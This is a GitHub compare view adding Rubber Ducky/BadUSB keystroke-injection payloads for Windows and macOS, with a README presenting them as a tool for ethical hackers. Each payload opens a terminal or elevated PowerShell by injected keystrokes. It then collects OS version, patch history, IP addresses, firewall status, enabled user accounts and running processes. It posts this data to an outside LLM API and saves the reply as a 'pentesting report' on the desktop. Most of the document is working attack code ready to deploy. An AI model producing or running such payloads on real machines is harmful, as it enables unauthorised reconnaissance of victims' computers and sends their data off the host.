Compare commits

...

5 Commits

Author SHA1 Message Date
httpsisbetter
9e494a5d1d
Merge 3f12d5f4243848d542e8823413665141c689b9fd into bfff117bdd357481a212b0c1ce402ade57b73669 2024-07-07 14:06:13 -07:00
UberGuidoZ
bfff117bdd Updated submodule 2024-07-07 12:00:40 -07:00
httpsisbetter
3f12d5f424
Update README.md 2024-07-01 22:56:53 -07:00
httpsisbetter
2450d7d11d
Rename MetaBadGPT to MetaBadGPT.txt 2024-07-01 22:52:52 -07:00
httpsisbetter
4b0d4f2bc0
Add files via upload 2024-07-01 22:52:21 -07:00
7 changed files with 589 additions and 1 deletions

View File

@ -0,0 +1,144 @@
REM Author: ooovenenoso
REM Open Terminal
DELAY 500
COMMAND SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 1000
REM Gather system information and save to variables
STRING system_info=$(cat << EOF
ENTER
STRING {
ENTER
DELAY 200
STRING "OS": "$(sw_vers -productName)",
ENTER
DELAY 200
STRING "Version": "$(sw_vers -productVersion)",
ENTER
DELAY 200
STRING "Architecture": "$(uname -m)",
ENTER
DELAY 200
STRING "ComputerName": "$(scutil --get ComputerName)",
ENTER
DELAY 200
STRING "LastBootTime": "$(sysctl -n kern.boottime | awk '{print $4 " " $5}')",
ENTER
DELAY 200
STRING "InstalledUpdates": "$(softwareupdate --history | tail -n +2 | awk '{print $1}' | tr '\n' ', ' | sed 's/, $//')",
ENTER
DELAY 200
STRING "NetworkInfo": "$(ifconfig | grep 'inet ' | awk '{print $2}' | tr '\n' ', ' | sed 's/, $//')",
ENTER
DELAY 200
STRING "FirewallStatus": "$(defaults read /Library/Preferences/com.apple.alf globalstate)",
ENTER
DELAY 200
STRING "UserAccounts": "$(dscl . list /Users | grep -v '^_')",
ENTER
DELAY 200
STRING "RunningProcesses": "$(ps aux | sort -rk 3,3 | head -n 6 | awk '{print $11}' | tr '\n' ', ' | sed 's/, $//')"
ENTER
STRING }
ENTER
STRING EOF
ENTER
DELAY 500
REM Requesting GPT to format response in HTML
STRING prompt_text="Given the detailed system information: OS: $(echo $system_info | jq -r '.OS'), Version: $(echo $system_info | jq -r '.Version'), Architecture: $(echo $system_info | jq -r '.Architecture'), Computer Name: $(echo $system_info | jq -r '.ComputerName'), Last Boot Time: $(echo $system_info | jq -r '.LastBootTime'), Installed Updates: $(echo $system_info | jq -r '.InstalledUpdates'), Network Info: $(echo $system_info | jq -r '.NetworkInfo'), Firewall Status: $(echo $system_info | jq -r '.FirewallStatus'), User Accounts: $(echo $system_info | jq -r '.UserAccounts'), Running Processes: $(echo $system_info | jq -r '.RunningProcesses'), provide a pentesting report identifying potential vulnerabilities in English, formatted in HTML with headers and bullet points for recommendations."
ENTER
DELAY 500
STRING messages=$(cat << EOF
ENTER
STRING [
ENTER
DELAY 1000
STRING { "role": "system", "content": "You are analyzing detailed system information for potential vulnerabilities." },
ENTER
DELAY 1000
STRING { "role": "user", "content": "$prompt_text" }
ENTER
STRING ]
ENTER
STRING EOF
ENTER
DELAY 500
STRING headers=$(cat << EOF
ENTER
STRING {
ENTER
DELAY 500
STRING "Authorization": "Bearer YOUR_OPENAI_API_KEY",
ENTER
DELAY 500
STRING "Content-Type": "application/json"
ENTER
STRING }
ENTER
STRING EOF
ENTER
DELAY 500
STRING response=$(curl -s -X POST "https://api.openai.com/v1/chat/completions" -H "$(echo $headers | jq -r 'to_entries | .[] | "\(.key): \(.value)"')" -d "$(echo '{"model": "gpt-3.5-turbo", "messages": '"$messages"'}' | jq -c)")
ENTER
DELAY 500
STRING htmlContent=$(cat << EOF
ENTER
STRING <html>
ENTER
DELAY 500
STRING <head>
ENTER
DELAY 500
STRING <title>Pentesting Report BadUSB-GPT</title>
ENTER
DELAY 500
STRING <style>
ENTER
DELAY 500
STRING body {font-family: Arial, sans-serif; margin: 40px;}
ENTER
DELAY 500
STRING h2 {color: #333; border-bottom: 2px solid #eee; padding-bottom: 10px;}
ENTER
DELAY 500
STRING h3 {color: #555; margin-top: 20px;}
ENTER
DELAY 500
STRING p, ul {margin-bottom: 20px;}
ENTER
DELAY 500
STRING </style>
ENTER
DELAY 500
STRING </head>
ENTER
DELAY 500
STRING <body>
ENTER
DELAY 500
STRING <h2>Pentesting Report</h2>
ENTER
DELAY 500
STRING $(echo $response | jq -r '.choices[0].message.content')
ENTER
DELAY 500
STRING </body>
ENTER
DELAY 500
STRING </html>
ENTER
STRING EOF
ENTER
DELAY 500
STRING echo "$htmlContent" > ~/Desktop/Pentesting_Report.html
ENTER

View File

@ -0,0 +1,146 @@
REM Author: ooovenenoso
REM Open PowerShell
DELAY 500
GUI x
DELAY 2000
STRING a
DELAY 2000
LEFTARROW
DELAY 2000
ENTER
REM Create PowerShell script to gather system information
DELAY 500
STRING $system_info = @{
ENTER
DELAY 500
STRING 'OS' = $(Get-CimInstance Win32_OperatingSystem).Caption;
ENTER
DELAY 500
STRING 'Version' = $(Get-CimInstance Win32_OperatingSystem).Version;
ENTER
DELAY 500
STRING 'Architecture' = $(Get-CimInstance Win32_OperatingSystem).OSArchitecture;
ENTER
DELAY 500
STRING 'ComputerName' = $(Get-CimInstance Win32_OperatingSystem).CSName;
ENTER
DELAY 500
STRING 'LastBootTime' = $(Get-CimInstance Win32_OperatingSystem).LastBootUpTime;
ENTER
DELAY 500
STRING 'InstalledUpdates' = $(Get-HotFix | Sort-Object -Property InstalledOn -Descending | Select-Object -First 5).Description;
ENTER
DELAY 500
STRING 'NetworkInfo' = $(Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).IPAddress;
ENTER
DELAY 500
STRING 'FirewallStatus' = $(Get-NetFirewallProfile | Where-Object { $_.Enabled -eq $true }).Name;
ENTER
DELAY 500
STRING 'UserAccounts' = $(Get-LocalUser | Where-Object { $_.Enabled -eq $true }).Name;
ENTER
DELAY 500
STRING 'RunningProcesses' = $(Get-Process | Sort-Object -Property CPU -Descending | Select-Object -First 5).Name;
ENTER
DELAY 500
STRING }
ENTER
REM Requesting GPT to format response in HTML
DELAY 500
STRING $prompt_text = "Given the detailed system information: OS: $($system_info.OS), Version: $($system_info.Version), Architecture: $($system_info.Architecture), Computer Name: COMPUTER_NAME_PLACEHOLDER, Last Boot Time: $($system_info.LastBootTime), Installed Updates: $($system_info.InstalledUpdates), Network Info: NETWORK_INFO_PLACEHOLDER, Firewall Status: $($system_info.FirewallStatus), User Accounts: USER_ACCOUNTS_PLACEHOLDER, Running Processes: $($system_info.RunningProcesses), provide a pentesting report identifying potential vulnerabilities in English, formatted in HTML with headers and bullet points for recommendations."
ENTER
DELAY 500
STRING $messages = @(
ENTER
DELAY 1000
STRING @{ 'role' = 'system'; 'content' = 'You are analyzing detailed system information for potential vulnerabilities.' },
ENTER
DELAY 1000
STRING @{ 'role' = 'user'; 'content' = $prompt_text }
ENTER
DELAY 1000
STRING )
ENTER
DELAY 500
STRING $headers = @{ 'Authorization' = 'Bearer YOUR_HUGGINGFACE_API_KEY'; 'Content-Type' = 'application/json' }
ENTER
DELAY 500
STRING $body = @{
ENTER
DELAY 500
STRING 'inputs' = $prompt_text
ENTER
DELAY 500
STRING 'options' = @{
ENTER
DELAY 500
STRING 'wait_for_model' = $true
ENTER
DELAY 500
STRING }
ENTER
DELAY 500
STRING } | ConvertTo-Json
ENTER
DELAY 500
STRING $response = Invoke-RestMethod -Uri 'https://api-inference.huggingface.co/models/meta-llama/Meta-Llama-3-70B-Instruct' -Method POST -Headers $headers -Body $body
ENTER
DELAY 500
STRING $htmlContent = @"
ENTER
DELAY 500
STRING <html>
ENTER
DELAY 500
STRING <head>
ENTER
DELAY 500
STRING <title>Pentesting Report BadUSB-GPT</title>
ENTER
DELAY 500
STRING <style>
ENTER
DELAY 500
STRING body {font-family: Arial, sans-serif; margin: 40px;}
ENTER
DELAY 500
STRING h2 {color: #333; border-bottom: 2px solid #eee; padding-bottom: 10px;}
ENTER
DELAY 500
STRING h3 {color: #555; margin-top: 20px;}
ENTER
DELAY 500
STRING p, ul {margin-bottom: 20px;}
ENTER
DELAY 500
STRING </style>
ENTER
DELAY 500
STRING </head>
ENTER
DELAY 500
STRING <body>
ENTER
DELAY 500
STRING <h2>Pentesting Report</h2>
ENTER
DELAY 500
STRING $($response.generated_text)
ENTER
DELAY 500
STRING </body>
ENTER
DELAY 500
STRING </html>
ENTER
DELAY 500
STRING "@
ENTER
DELAY 500
STRING Set-Content -Path $env:USERPROFILE\Desktop\Pentesting_Report.html -Value $htmlContent
ENTER
REM Replacing placeholders with actual values in the local report
DELAY 500
STRING (Get-Content $env:USERPROFILE\Desktop\Pentesting_Report.html).Replace('COMPUTER_NAME_PLACEHOLDER', $system_info.ComputerName).Replace('NETWORK_INFO_PLACEHOLDER', ($system_info.NetworkInfo -join ', ')).Replace('USER_ACCOUNTS_PLACEHOLDER', ($system_info.UserAccounts -join ', ')) | Set-Content $env:USERPROFILE\Desktop\Pentesting_Report.html
ENTER

View File

@ -0,0 +1,146 @@
REM Author: ooovenenoso
REM Open PowerShell
DELAY 500
GUI x
DELAY 2000
STRING a
DELAY 2000
LEFTARROW
DELAY 2000
ENTER
REM Create PowerShell script to gather system information
DELAY 500
STRING $system_info = @{
ENTER
DELAY 500
STRING 'OS' = $(Get-CimInstance Win32_OperatingSystem).Caption;
ENTER
DELAY 500
STRING 'Version' = $(Get-CimInstance Win32_OperatingSystem).Version;
ENTER
DELAY 500
STRING 'Architecture' = $(Get-CimInstance Win32_OperatingSystem).OSArchitecture;
ENTER
DELAY 500
STRING 'ComputerName' = $(Get-CimInstance Win32_OperatingSystem).CSName;
ENTER
DELAY 500
STRING 'LastBootTime' = $(Get-CimInstance Win32_OperatingSystem).LastBootUpTime;
ENTER
DELAY 500
STRING 'InstalledUpdates' = $(Get-HotFix | Sort-Object -Property InstalledOn -Descending | Select-Object -First 5).Description;
ENTER
DELAY 500
STRING 'NetworkInfo' = $(Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).IPAddress;
ENTER
DELAY 500
STRING 'FirewallStatus' = $(Get-NetFirewallProfile | Where-Object { $_.Enabled -eq $true }).Name;
ENTER
DELAY 500
STRING 'UserAccounts' = $(Get-LocalUser | Where-Object { $_.Enabled -eq $true }).Name;
ENTER
DELAY 500
STRING 'RunningProcesses' = $(Get-Process | Sort-Object -Property CPU -Descending | Select-Object -First 5).Name;
ENTER
DELAY 500
STRING }
ENTER
REM Requesting GPT to format response in HTML
DELAY 500
STRING $prompt_text = "Given the detailed system information: OS: $($system_info.OS), Version: $($system_info.Version), Architecture: $($system_info.Architecture), Computer Name: COMPUTER_NAME_PLACEHOLDER, Last Boot Time: $($system_info.LastBootTime), Installed Updates: $($system_info.InstalledUpdates), Network Info: NETWORK_INFO_PLACEHOLDER, Firewall Status: $($system_info.FirewallStatus), User Accounts: USER_ACCOUNTS_PLACEHOLDER, Running Processes: $($system_info.RunningProcesses), provide a pentesting report identifying potential vulnerabilities in English, formatted in HTML with headers and bullet points for recommendations."
ENTER
DELAY 500
STRING $messages = @(
ENTER
DELAY 1000
STRING @{ 'role' = 'system'; 'content' = 'You are analyzing detailed system information for potential vulnerabilities.' },
ENTER
DELAY 1000
STRING @{ 'role' = 'user'; 'content' = $prompt_text }
ENTER
DELAY 1000
STRING )
ENTER
DELAY 500
STRING $headers = @{ 'Authorization' = 'Bearer YOUR_HUGGINGFACE_API_KEY'; 'Content-Type' = 'application/json' }
ENTER
DELAY 500
STRING $body = @{
ENTER
DELAY 500
STRING 'inputs' = $prompt_text
ENTER
DELAY 500
STRING 'options' = @{
ENTER
DELAY 500
STRING 'wait_for_model' = $true
ENTER
DELAY 500
STRING }
ENTER
DELAY 500
STRING } | ConvertTo-Json
ENTER
DELAY 500
STRING $response = Invoke-RestMethod -Uri 'https://api-inference.huggingface.co/models/apple/OpenELM-3B-Instruct' -Method POST -Headers $headers -Body $body
ENTER
DELAY 500
STRING $htmlContent = @"
ENTER
DELAY 500
STRING <html>
ENTER
DELAY 500
STRING <head>
ENTER
DELAY 500
STRING <title>Pentesting Report BadUSB-GPT</title>
ENTER
DELAY 500
STRING <style>
ENTER
DELAY 500
STRING body {font-family: Arial, sans-serif; margin: 40px;}
ENTER
DELAY 500
STRING h2 {color: #333; border-bottom: 2px solid #eee; padding-bottom: 10px;}
ENTER
DELAY 500
STRING h3 {color: #555; margin-top: 20px;}
ENTER
DELAY 500
STRING p, ul {margin-bottom: 20px;}
ENTER
DELAY 500
STRING </style>
ENTER
DELAY 500
STRING </head>
ENTER
DELAY 500
STRING <body>
ENTER
DELAY 500
STRING <h2>Pentesting Report</h2>
ENTER
DELAY 500
STRING $($response.generated_text)
ENTER
DELAY 500
STRING </body>
ENTER
DELAY 500
STRING </html>
ENTER
DELAY 500
STRING "@
ENTER
DELAY 500
STRING Set-Content -Path $env:USERPROFILE\Desktop\Pentesting_Report.html -Value $htmlContent
ENTER
REM Replacing placeholders with actual values in the local report
DELAY 500
STRING (Get-Content $env:USERPROFILE\Desktop\Pentesting_Report.html).Replace('COMPUTER_NAME_PLACEHOLDER', $system_info.ComputerName).Replace('NETWORK_INFO_PLACEHOLDER', ($system_info.NetworkInfo -join ', ')).Replace('USER_ACCOUNTS_PLACEHOLDER', ($system_info.UserAccounts -join ', ')) | Set-Content $env:USERPROFILE\Desktop\Pentesting_Report.html
ENTER

View File

@ -0,0 +1,128 @@
REM Author: ooovenenoso
REM Open PowerShell
DELAY 500
GUI x
DELAY 2000
STRING a
DELAY 2000
LEFTARROW
DELAY 2000
ENTER
REM Create PowerShell script to gather system information
DELAY 500
STRING $system_info = @{
ENTER
DELAY 500
STRING 'OS' = $(Get-CimInstance Win32_OperatingSystem).Caption;
ENTER
DELAY 500
STRING 'Version' = $(Get-CimInstance Win32_OperatingSystem).Version;
ENTER
DELAY 500
STRING 'Architecture' = $(Get-CimInstance Win32_OperatingSystem).OSArchitecture;
ENTER
DELAY 500
STRING 'ComputerName' = $(Get-CimInstance Win32_OperatingSystem).CSName;
ENTER
DELAY 500
STRING 'LastBootTime' = $(Get-CimInstance Win32_OperatingSystem).LastBootUpTime;
ENTER
DELAY 500
STRING 'InstalledUpdates' = $(Get-HotFix | Sort-Object -Property InstalledOn -Descending | Select-Object -First 5).Description;
ENTER
DELAY 500
STRING 'NetworkInfo' = $(Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).IPAddress;
ENTER
DELAY 500
STRING 'FirewallStatus' = $(Get-NetFirewallProfile | Where-Object { $_.Enabled -eq $true }).Name;
ENTER
DELAY 500
STRING 'UserAccounts' = $(Get-LocalUser | Where-Object { $_.Enabled -eq $true }).Name;
ENTER
DELAY 500
STRING 'RunningProcesses' = $(Get-Process | Sort-Object -Property CPU -Descending | Select-Object -First 5).Name;
ENTER
DELAY 500
STRING }
ENTER
REM Requesting GPT to format response in HTML
DELAY 500
STRING $prompt_text = "Given the detailed system information: OS: $($system_info.OS), Version: $($system_info.Version), Architecture: $($system_info.Architecture), Computer Name: COMPUTER_NAME_PLACEHOLDER, Last Boot Time: $($system_info.LastBootTime), Installed Updates: $($system_info.InstalledUpdates), Network Info: NETWORK_INFO_PLACEHOLDER, Firewall Status: $($system_info.FirewallStatus), User Accounts: USER_ACCOUNTS_PLACEHOLDER, Running Processes: $($system_info.RunningProcesses), provide a pentesting report identifying potential vulnerabilities in English, formatted in HTML with headers and bullet points for recommendations."
ENTER
DELAY 500
STRING $messages = @(
ENTER
DELAY 1000
STRING @{ 'role' = 'system'; 'content' = 'You are analyzing detailed system information for potential vulnerabilities.' },
ENTER
DELAY 1000
STRING @{ 'role' = 'user'; 'content' = $prompt_text }
ENTER
DELAY 1000
STRING )
ENTER
DELAY 500
STRING $headers = @{ 'Authorization' = 'Bearer YOUR_OPENAI_API_KEY'; 'Content-Type' = 'application/json' }
ENTER
DELAY 500
STRING $response = Invoke-RestMethod -Uri 'https://api.openai.com/v1/chat/completions' -Method POST -Headers $headers -Body (@{ model = 'gpt-3.5-turbo'; messages = $messages } | ConvertTo-Json)
ENTER
DELAY 500
STRING $htmlContent = @"
ENTER
DELAY 500
STRING <html>
ENTER
DELAY 500
STRING <head>
ENTER
DELAY 500
STRING <title>Pentesting Report BadUSB-GPT</title>
ENTER
DELAY 500
STRING <style>
ENTER
DELAY 500
STRING body {font-family: Arial, sans-serif; margin: 40px;}
ENTER
DELAY 500
STRING h2 {color: #333; border-bottom: 2px solid #eee; padding-bottom: 10px;}
ENTER
DELAY 500
STRING h3 {color: #555; margin-top: 20px;}
ENTER
DELAY 500
STRING p, ul {margin-bottom: 20px;}
ENTER
DELAY 500
STRING </style>
ENTER
DELAY 500
STRING </head>
ENTER
DELAY 500
STRING <body>
ENTER
DELAY 500
STRING <h2>Pentesting Report</h2>
ENTER
DELAY 500
STRING $($response.choices[0].message.content)
ENTER
DELAY 500
STRING </body>
ENTER
DELAY 500
STRING </html>
ENTER
DELAY 500
STRING "@
ENTER
DELAY 500
STRING Set-Content -Path $env:USERPROFILE\Desktop\Pentesting_Report.html -Value $htmlContent
ENTER
REM Replacing placeholders with actual values in the local report
DELAY 500
STRING (Get-Content $env:USERPROFILE\Desktop\Pentesting_Report.html).Replace('COMPUTER_NAME_PLACEHOLDER', $system_info.ComputerName).Replace('NETWORK_INFO_PLACEHOLDER', ($system_info.NetworkInfo -join ', ')).Replace('USER_ACCOUNTS_PLACEHOLDER', ($system_info.UserAccounts -join ', ')) | Set-Content $env:USERPROFILE\Desktop\Pentesting_Report.html
ENTER

View File

@ -0,0 +1,24 @@
# BadUSB-GPT: Rubber Ducky Meets OpenAI's GPT
```
Original auth: ooovenenoso
Modified by: HTTPS
```
![BadUSB x GPT](https://github.com/ooovenenoso/BadUSB-GPT/blob/main/banner.png)
**Description**: This repository houses scripts for Rubber Ducky integrated with OpenAI's GPT. It's a powerful tool designed specifically for ethical hackers and researchers. It blends the swift execution of Rubber Ducky with the advanced intelligence of GPT.
**🔐 Ethical Use**: Always use this tool responsibly and with the right permissions. It's crucial to respect the privacy and security of systems you have access to.
## 🌟 Supporters and Donations
Your support is vital to the continuous development of this project. If you find our work beneficial and wish to contribute, you can do so by donating any amount of caffeine!
To show our appreciation, the profile picture of each donor along with their GitHub username will be featured in this README.md. This is our way of acknowledging and thanking our community supporters publicly.
To make a donation, please send your GitHub username along with the donation amount to the following link: [Buy Me a Coffee](https://www.buymeacoffee.com/ooovenenoso).
Thank you for fueling our efforts and being a part of this journey!
## Modifications !
Originally made by [ooovenenoso](https://github.com/ooovenenoso)
I modified the original `PentestGPT.txt` script to work with huggingface API that utilizes the OpenELM and Meta Llama models but also made a version to support MacOS with the openAI API.

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.9 MiB

@ -1 +1 @@
Subproject commit c168e5d82a5f84ebdd5da27c396b3512c50e5eae
Subproject commit a841964bf62f3769bbe386ef81fc89ed33430f3c